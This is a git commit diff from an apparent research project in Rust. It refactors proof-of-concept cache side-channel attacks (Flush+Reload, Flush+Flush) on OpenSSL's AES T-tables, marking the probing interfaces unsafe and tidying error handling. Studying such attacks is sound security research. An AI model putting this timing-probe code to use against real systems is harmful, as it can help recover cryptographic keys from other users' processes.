Fix a fex clippy issues and mark interfaces as unsafe

This commit is contained in:
GuillaumeDIDIER 2020-09-22 16:49:22 +02:00
parent 11d1ea28f2
commit eff29090a9
3 changed files with 81 additions and 59 deletions

View File

@ -1,4 +1,6 @@
#![feature(specialization)] #![feature(specialization)]
#![feature(unsafe_block_in_unsafe_fn)]
#![deny(unsafe_op_in_unsafe_fn)]
use openssl::aes; use openssl::aes;
@ -66,24 +68,24 @@ pub trait SimpleCacheSideChannel {
pub trait TableCacheSideChannel { pub trait TableCacheSideChannel {
//type ChannelFatalError: Debug; //type ChannelFatalError: Debug;
fn calibrate( unsafe fn calibrate(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError>; ) -> Result<(), ChannelFatalError>;
fn attack<'a, 'b, 'c>( unsafe fn attack<'a, 'b>(
&'a mut self, &'a mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
victim: &'c dyn Fn(), victim: &'b dyn Fn(),
) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError>; ) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError>;
} }
pub trait SingleAddrCacheSideChannel: Debug { pub trait SingleAddrCacheSideChannel: Debug {
//type SingleChannelFatalError: Debug; //type SingleChannelFatalError: Debug;
fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError>; unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError>;
fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError>; unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError>;
fn victim_single(&mut self, operation: &dyn Fn()); fn victim_single(&mut self, operation: &dyn Fn());
fn calibrate_single( unsafe fn calibrate_single(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError>; ) -> Result<(), ChannelFatalError>;
@ -92,31 +94,31 @@ pub trait SingleAddrCacheSideChannel: Debug {
pub trait MultipleAddrCacheSideChannel: Debug { pub trait MultipleAddrCacheSideChannel: Debug {
//type MultipleChannelFatalError: Debug; //type MultipleChannelFatalError: Debug;
fn test( unsafe fn test(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>; ) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
fn prepare( unsafe fn prepare(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), SideChannelError>; ) -> Result<(), SideChannelError>;
fn victim(&mut self, operation: &dyn Fn()); fn victim(&mut self, operation: &dyn Fn());
fn calibrate( unsafe fn calibrate(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError>; ) -> Result<(), ChannelFatalError>;
} }
impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T { impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
default fn calibrate( default unsafe fn calibrate(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> { ) -> Result<(), ChannelFatalError> {
self.calibrate_single(addresses) unsafe { self.calibrate_single(addresses) }
} }
//type ChannelFatalError = T::SingleChannelFatalError; //type ChannelFatalError = T::SingleChannelFatalError;
default fn attack<'a, 'b, 'c>( default unsafe fn attack<'a, 'b, 'c>(
&'a mut self, &'a mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
victim: &'c dyn Fn(), victim: &'c dyn Fn(),
@ -124,7 +126,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
let mut result = Vec::new(); let mut result = Vec::new();
for addr in addresses { for addr in addresses {
match self.prepare_single(addr) { match unsafe { self.prepare_single(addr) } {
Ok(_) => {} Ok(_) => {}
Err(e) => match e { Err(e) => match e {
SideChannelError::NeedRecalibration => unimplemented!(), SideChannelError::NeedRecalibration => unimplemented!(),
@ -134,7 +136,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
}, },
} }
self.victim_single(victim); self.victim_single(victim);
let r = self.test_single(addr); let r = unsafe { self.test_single(addr) };
match r { match r {
Ok(status) => { Ok(status) => {
result.push((addr, status)); result.push((addr, status));
@ -155,44 +157,51 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
// TODO // TODO
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T { impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
//type SingleChannelFatalError = T::MultipleChannelFatalError; unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
let addresses = vec![addr]; let addresses = vec![addr];
self.test(addresses).map(|v| v[0].1) unsafe { self.test(addresses) }.map(|v| v[0].1)
} }
fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> { unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
let addresses = vec![addr]; let addresses = vec![addr];
self.prepare(addresses) unsafe { self.prepare(addresses) }
} }
fn victim_single(&mut self, operation: &dyn Fn()) { fn victim_single(&mut self, operation: &dyn Fn()) {
self.victim(operation); self.victim(operation);
} }
fn calibrate_single( unsafe fn calibrate_single(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> { ) -> Result<(), ChannelFatalError> {
self.calibrate(addresses) unsafe { self.calibrate(addresses) }
} }
} }
fn table_cache_side_channel_calibrate_impl<T: MultipleAddrCacheSideChannel>(
s: &mut T,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> {
unsafe { s.calibrate(addresses) }
}
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T { impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
fn calibrate( unsafe fn calibrate(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> { ) -> Result<(), ChannelFatalError> {
self.calibrate(addresses) table_cache_side_channel_calibrate_impl(self, addresses)
//self.calibrate(addresses)
} }
//type ChannelFatalError = T::MultipleChannelFatalError; //type ChannelFatalError = T::MultipleChannelFatalError;
fn attack<'a, 'b, 'c>( unsafe fn attack<'a, 'b, 'c>(
&'a mut self, &'a mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
victim: &'c dyn Fn(), victim: &'c dyn Fn(),
) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError> { ) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError> {
match MultipleAddrCacheSideChannel::prepare(self, addresses.clone()) { match unsafe { MultipleAddrCacheSideChannel::prepare(self, addresses.clone()) } {
Ok(_) => {} Ok(_) => {}
Err(e) => match e { Err(e) => match e {
SideChannelError::NeedRecalibration => unimplemented!(), SideChannelError::NeedRecalibration => unimplemented!(),
@ -203,7 +212,7 @@ impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
} }
MultipleAddrCacheSideChannel::victim(self, victim); MultipleAddrCacheSideChannel::victim(self, victim);
let r = MultipleAddrCacheSideChannel::test(self, addresses); // Fixme error handling let r = unsafe { MultipleAddrCacheSideChannel::test(self, addresses) }; // Fixme error handling
match r { match r {
Err(e) => match e { Err(e) => match e {
SideChannelError::NeedRecalibration => { SideChannelError::NeedRecalibration => {
@ -224,10 +233,17 @@ pub struct AESTTableParams<'a> {
pub te: [isize; 4], pub te: [isize; 4],
} }
pub fn attack_t_tables_poc( pub unsafe fn attack_t_tables_poc(
side_channel: &mut impl TableCacheSideChannel, side_channel: &mut impl TableCacheSideChannel,
parameters: AESTTableParams, parameters: AESTTableParams,
) -> () { ) {
attack_t_tables_poc_impl(side_channel, parameters)
}
fn attack_t_tables_poc_impl(
side_channel: &mut impl TableCacheSideChannel,
parameters: AESTTableParams,
) {
// Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing) // Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
// TODO // TODO
@ -255,7 +271,7 @@ pub fn attack_t_tables_poc(
.flatten() .flatten()
.map(|offset| unsafe { base.offset(offset) }); .map(|offset| unsafe { base.offset(offset) });
side_channel.calibrate(addresses.clone()).unwrap(); unsafe { side_channel.calibrate(addresses.clone()).unwrap() };
for addr in addresses.clone() { for addr in addresses.clone() {
let mut timing = HashMap::new(); let mut timing = HashMap::new();
@ -273,8 +289,8 @@ pub fn attack_t_tables_poc(
let victim = || { let victim = || {
let mut plaintext = [0u8; 16]; let mut plaintext = [0u8; 16];
plaintext[0] = b; plaintext[0] = b;
for i in 1..plaintext.len() { for byte in plaintext.iter_mut().skip(1) {
plaintext[i] = rand::random(); *byte = rand::random();
} }
let mut iv = [0u8; 32]; let mut iv = [0u8; 32];
let mut result = [0u8; 16]; let mut result = [0u8; 16];
@ -282,7 +298,7 @@ pub fn attack_t_tables_poc(
}; };
for _ in 0..100 { for _ in 0..100 {
let r = side_channel.attack(addresses.clone(), &victim); let r = unsafe { side_channel.attack(addresses.clone(), &victim) };
match r { match r {
Ok(v) => { Ok(v) => {
for (probe, status) in v { for (probe, status) in v {
@ -296,7 +312,7 @@ pub fn attack_t_tables_poc(
} }
for _ in 0..parameters.num_encryptions { for _ in 0..parameters.num_encryptions {
let r = side_channel.attack(addresses.clone(), &victim); let r = unsafe { side_channel.attack(addresses.clone(), &victim) };
match r { match r {
Ok(v) => { Ok(v) => {
for (probe, status) in v { for (probe, status) in v {

View File

@ -1,3 +1,5 @@
#![feature(unsafe_block_in_unsafe_fn)]
#![deny(unsafe_op_in_unsafe_fn)]
use aes_t_tables::SideChannelError::{AddressNotCalibrated, AddressNotReady}; use aes_t_tables::SideChannelError::{AddressNotCalibrated, AddressNotReady};
use aes_t_tables::{ use aes_t_tables::{
attack_t_tables_poc, AESTTableParams, CacheStatus, ChannelFatalError, attack_t_tables_poc, AESTTableParams, CacheStatus, ChannelFatalError,
@ -97,9 +99,9 @@ fn cum_sum(vector: &Vec<u32>) -> Vec<u32> {
} }
impl MultipleAddrCacheSideChannel for FlushAndFlush { impl MultipleAddrCacheSideChannel for FlushAndFlush {
fn test( unsafe fn test(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, // Fixme : This API should probably be unsafe to call addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError> { ) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError> {
let mut result = Vec::new(); let mut result = Vec::new();
let mut tmp = Vec::new(); let mut tmp = Vec::new();
@ -124,7 +126,7 @@ impl MultipleAddrCacheSideChannel for FlushAndFlush {
Ok(result) Ok(result)
} }
fn prepare( unsafe fn prepare(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), SideChannelError> { ) -> Result<(), SideChannelError> {
@ -151,7 +153,7 @@ impl MultipleAddrCacheSideChannel for FlushAndFlush {
operation(); // TODO use a different helper core ? operation(); // TODO use a different helper core ?
} }
fn calibrate( unsafe fn calibrate(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> { ) -> Result<(), ChannelFatalError> {
@ -384,23 +386,27 @@ impl MultipleAddrCacheSideChannel for FlushAndFlush {
fn main() { fn main() {
let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so"); let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
let mut side_channel = NaiveFlushAndReload::from_threshold(220); let mut side_channel = NaiveFlushAndReload::from_threshold(220);
attack_t_tables_poc( unsafe {
&mut side_channel, attack_t_tables_poc(
AESTTableParams { &mut side_channel,
num_encryptions: 1 << 14, AESTTableParams {
key: [0; 32], num_encryptions: 1 << 14,
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order) key: [0; 32],
openssl_path: &open_sslpath, te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
}, openssl_path: &open_sslpath,
); },
)
};
let mut side_channel_ff = FlushAndFlush::new().unwrap(); let mut side_channel_ff = FlushAndFlush::new().unwrap();
attack_t_tables_poc( unsafe {
&mut side_channel_ff, attack_t_tables_poc(
AESTTableParams { &mut side_channel_ff,
num_encryptions: 1 << 15, AESTTableParams {
key: [0; 32], num_encryptions: 1 << 15,
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order) key: [0; 32],
openssl_path: &open_sslpath, te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
}, openssl_path: &open_sslpath,
); },
)
};
} }

View File

@ -18,9 +18,9 @@ impl NaiveFlushAndReload {
} }
impl SingleAddrCacheSideChannel for NaiveFlushAndReload { impl SingleAddrCacheSideChannel for NaiveFlushAndReload {
fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> { unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
if self.current != Some(addr) { if self.current != Some(addr) {
panic!(); // FIXME return Err(SideChannelError::AddressNotReady(addr));
} }
let t = unsafe { only_reload(addr) }; let t = unsafe { only_reload(addr) };
if t > self.threshold { if t > self.threshold {
@ -30,7 +30,7 @@ impl SingleAddrCacheSideChannel for NaiveFlushAndReload {
} }
} }
fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> { unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
unsafe { flush(addr) }; unsafe { flush(addr) };
self.current = Some(addr); self.current = Some(addr);
Ok(()) Ok(())
@ -40,7 +40,7 @@ impl SingleAddrCacheSideChannel for NaiveFlushAndReload {
operation() operation()
} }
fn calibrate_single( unsafe fn calibrate_single(
&mut self, &mut self,
_addresses: impl IntoIterator<Item = *const u8>, _addresses: impl IntoIterator<Item = *const u8>,
) -> Result<(), ChannelFatalError> { ) -> Result<(), ChannelFatalError> {